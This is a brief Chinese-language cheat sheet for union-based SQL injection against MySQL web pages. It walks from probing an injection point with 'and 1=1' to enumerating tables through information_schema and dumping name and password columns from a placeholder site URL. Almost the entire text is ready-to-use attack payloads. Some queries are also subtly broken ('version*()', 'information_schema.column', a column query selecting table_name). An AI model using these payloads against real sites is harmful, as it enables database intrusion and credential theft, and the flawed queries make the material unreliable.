数据库版本:version*()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
MYSQL5.0以上版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库。
数据库中符合“.”代表下一级,如data1.user表示data1数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
判断注入点:
方法:
1 and 1=1正常
1 and 1=2错误
在参数值后加入错误的参数,看页面是否正常,如果正常说明不存在注入点,如果跳转说明做了过滤
?1 union select 1,2,3,4
出现2,3
?1 union select 1,database(),
查询数据库下的表名信息:
www.xxx.com/123.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='table1'
查询数据库下的列名信息:
www.xxx.com/123.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.column where column_name='text1'
查询指定数据:
www.xxx.com/123.php?id=-1 union select 1,name,password,4 from text1